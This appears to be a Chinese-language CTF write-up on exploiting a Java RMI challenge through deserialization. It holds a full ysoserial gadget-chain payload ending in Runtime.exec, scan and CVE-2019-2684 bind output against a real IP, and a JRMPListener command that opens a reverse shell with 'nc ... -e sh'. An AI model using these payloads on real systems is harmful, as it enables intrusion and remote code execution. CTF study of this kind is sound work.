// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
//Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Object objects = cons.newInstance();
setValue(objects,"mName","newTransformer");
setValue(objects,"user",userr);
serialize(objects);
unserialize("ser1.bin");
}
}
这个还是有问题,我们修改一下UserImpl
结果
package exp;
import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.MyInvocationHandler;
import com.ctf.threermi.UserInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import static exp.RealDemo.getTemplatesImpl;
import static exp.RealDemo.setValue;
import static sun.reflect.misc.FieldUtil.getField;
class UserImpl implements UserInter {
Registry registry;
{
try {
registry = LocateRegistry.getRegistry(5004);
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public String sayHello(String paramString) throws RemoteException {
return null;
}
@Override
public Friend getGirlFriend() throws RemoteException {
FactoryInter factoryInter = null;//annotationInvocationHandler
try {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2);
allIfaces[0] = FactoryInter.class;
allIfaces[1] = Remote.class;
factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory")));
} catch (Exception e) {
e.printStackTrace();
}
final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
try {
setValue(myInvocationHandler,"object",factoryInter);
} catch (Exception e) {
e.printStackTrace();
}
final Friend friend = (Friend)Proxy.newProxyInstance(myInvocationHandler,Friend.class, Templates.class);
return friend;
}
}
class FactoryImpl implements FactoryInter{
String cmd;
@Override
public Object getObject() {
try {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "aaa");
getTemplatesImpl(this.cmd);
setValue(templates, "_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public class RealDemo {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String[] args) throws Exception {
//RmiServer的代码
Registry registry = LocateRegistry.createRegistry(7777);
FactoryImpl factoryImpl = new FactoryImpl();
// bind可以绑多个
registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777));
userImpl user = new userImpl();
registry.bind("UserImpl", UnicastRemoteObject.exportObject(user, 7777));
//制造ref
// ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass()
InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
Field field = ref.getClass().getSuperclass().getDeclaredField("ref");
field.setAccessible(true);
UnicastRef unicastRef = (UnicastRef)field.get(ref);
LiveRef liveRef = (LiveRef) getFieldValue(unicastRef,"ref");
TCPEndpoint tcpEndpoint = (TCPEndpoint)getFieldValue(liveRef,"ep");
setValue(tcpEndpoint,"host","8.129.42.140");
//RemoteObjectInvocationHandler
Class<?> c = Class.forName("java.rmi.server.RemoteObjectInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
RemoteObjectInvocationHandler RemoteObjectInvocationHandler = (java.rmi.server.RemoteObjectInvocationHandler) constructor.newInstance(ref);
//由于失去了AnnouceInvocationHandler,这些都不用了
// // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl
//
// // test : factory.toString();
//
// //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
// //并且会调用 method.invoke(返回值,args)
// //此时返回值被我们使用动态代理改为了 TemplatesImpl
// //接下来需要 method 是 newTransformer(),就可以触发调用链了
// Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler");
// Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
// ofdConstructor.setAccessible(true);
// // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
// //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
// InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
// setValue(ofdHandler,"object",factory);
//
// //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
// //hashMap.get(1);
// // MyInvocationHandler 本身就是个 InvocationHandler
// // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
// // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
// Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
// new Class[]{Friend.class, Templates.class}, ofdHandler);
//
// // 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
// HashMap<String, Object> map2 = new HashMap<>();
// map2.put("getGirlFriend", typeTemplateProxy);
//
// InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
//
// Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
// // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
// 下面缺参数User,直接代理一个User
final UserInter userr = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class, Remote.class},RemoteObjectInvocationHandler);
// Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
// new Class[]{UserInter}, newInvocationHandler);
// 初始化 Gadget
Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
//Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Object objects = cons.newInstance();
setValue(objects,"mName","newTransformer");
setValue(objects,"user",userr);
serialize(objects);
unserialize("ser1.bin");
}
}
里面还有问题,算了,应该学学魔改Yso,不应该手搓的
仔细一想还是效率的原因,手搓bug太多了
exp
URLDNS
https://github.com/qtc-de/remote-method-guesser
效果挺好,记录一下当时
PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar scan 8.129.42.140 --ports 1098-8081
[+] Scanning 6984 Ports on 8.129.42.140 for RMI services.
[+]
[-] Caught unexpected java.rmi.ConnectIOException during portscan operation.
[-] Please report this to improve rmg :)
[-] StackTrace:
java.rmi.ConnectIOException: Exception creating connection to: 8.129.42.140; nested exception is:
java.net.SocketTimeoutException: Connect timed out
at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:637)
at java.rmi/sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:217)
at java.rmi/sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:204)
at java.rmi/sun.rmi.server.UnicastRef.newCall(UnicastRef.java:345)
at eu.tneitzel.rmg.networking.RMIEndpoint.unmanagedCall(RMIEndpoint.java:263)
at eu.tneitzel.rmg.operations.PortScanner$PortScanWorker.scanAct(PortScanner.java:248)
at eu.tneitzel.rmg.operations.PortScanner$PortScanWorker.run(PortScanner.java:182)
at java.base/java.util.concurrent.ForkJoinTask$RunnableExecuteAction.exec(ForkJoinTask.java:1423)
at java.base/java.util.concurrent.ForkJoinTask.doExec(ForkJoinTask.java:387)
at java.base/java.util.concurrent.ForkJoinPool$WorkQueue.topLevelExec(ForkJoinPool.java:1312)
at java.base/java.util.concurrent.ForkJoinPool.scan(ForkJoinPool.java:1843)
at java.base/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1808)
at java.base/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:188)
Caused by: java.net.SocketTimeoutException: Connect timed out
at java.base/sun.nio.ch.NioSocketImpl.timedFinishConnect(NioSocketImpl.java:546)
at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:592)
at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
at java.base/java.net.Socket.connect(Socket.java:751)
at eu.tneitzel.rmg.networking.TimeoutSocketFactory.createSocket(TimeoutSocketFactory.java:57)
at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619)
... 12 more
[+] [HIT] Found RMI service(s) on 8.129.42.140:1099 (Registry, DGC)
[+] [13967 / 13967] [#############################] 100%
[+]
[+] Portscan finished.
PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar enum 8.129.42.140 1099
[+] RMI registry bound names:
[+]
[+] - ctf
[+] --> com.ctf.threermi.UserInter (unknown class)
[+] Endpoint: 172.19.0.2:46483 CSF: RMISocketFactory ObjID: [-28f27ab1:18df04e8ec1:-7fff, 1001789442495291446]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught ClassCastException during lookup call.
[+] --> The server ignored the provided codebase (useCodebaseOnly=true).
[+] Configuration Status: Current Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Caught Exception containing 'no security manager' during RMI call.
[+] --> The server does not use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught NoSuchObjectException during activate call (activator not present).
[+] Configuration Status: Current Default
主要是注意到CVE-2019-2684,待会可以
PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar bind 8.129.42.140 1099 8.129.42.140:1234 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
测试一下yso联动(urldns)
D:\study\jdk\jdk8u65\bin\java.exe -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1234 URLDNS "http://2b7faf67a3.ipv6.1433.eu.org"
urldns可以,但是比较蛋疼的是绑了一次就要使用rebind
构造好exp -》 jar包(yso)
要用这种方法
主清单是GeneratePayload
build成后有个签名报错
解决方法是压缩包工具打开jar并删除签名文件
llt大哥听了表示无语
RCE
rceExp
package ysoserial.payloads;
import com.ctf.threermi.*;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
/*
/*
Gadget chain:
Gadget.readObject()
UserInter(Proxy).getGirlFriend()
RemoteObjectInvocationHandler.invoke()
UnicastRef.invoke()
StreamRemoteCall#executeCall()
UserInter.getGirlFriend()
Templates(Proxy).newTransformer()
MyInvocationHandler.invoke()
FactoryInter(Proxy).getObject()
RemoteObjectInvocationHandler.invoke()
UnicastRef.invoke()
StreamRemoteCall#executeCall()
FactoryInter.getObject()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/
*/
class UserImpl implements UserInter {
Registry registry;
{
try {
registry = LocateRegistry.getRegistry(7777);
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public String sayHello(String paramString) throws RemoteException {
return null;
}
@Override
public Friend getGirlFriend() throws RemoteException {
FactoryInter factoryInter = null;//annotationInvocationHandler
try {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2);
allIfaces[0] = FactoryInter.class;
allIfaces[1] = Remote.class;
factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory")));
} catch (Exception e) {
e.printStackTrace();
}
final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
try {
Reflections.setFieldValue(myInvocationHandler,"object",factoryInter);
} catch (Exception e) {
e.printStackTrace();
}
final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class, Templates.class);
return friend;
}
}
class FactoryImpl implements FactoryInter{
String cmd;
@Override
public Object getObject() throws Exception {
return Gadgets.createTemplatesImpl(this.cmd);
}
}
public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
int evilServerPort = 7777;
Registry registry = LocateRegistry.createRegistry(evilServerPort);
UserImpl user1 = new UserImpl();
registry.bind("UserImpl", UnicastRemoteObject.exportObject(user1, evilServerPort));
FactoryImpl factoryImpl = new FactoryImpl();
Reflections.setFieldValue(factoryImpl,"cmd",command);
registry.bind("factory", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort));
// ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass()
InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
Field field = ref.getClass().getSuperclass().getDeclaredField("ref");
field.setAccessible(true);
UnicastRef unicastRef = (UnicastRef)field.get(ref);
LiveRef liveRef = (LiveRef) Reflections.getFieldValue(unicastRef,"ref");
TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef,"ep");
Reflections.setFieldValue(tcpEndpoint,"host","10.122.207.125");
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler((RemoteRef) Reflections.getFieldValue(ref,"ref"));
final UserInter user = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class,Remote.class},remoteObjectInvocationHandler);
Gadget gadget = new Gadget();
Reflections.setFieldValue(gadget,"user",user);
Reflections.setFieldValue(gadget,"mName","newTransformer");
return gadget;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(TCTF3rmiExp.class, args);
}
}
本地可以复现,注意LocateRegistry.getRegistry(7777);和evilPort要一致
D:\study\jdk\jdk8u65\bin\java.exe -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 4444 TCTF3rmiExp 'nc ip port -e sh'
远程复现不了,不知道为什么,也试过jdk版本了,本地windows起了一个一模一样的环境,也没有办法复现
这些回显都有,所以我怀疑还是附件有毛病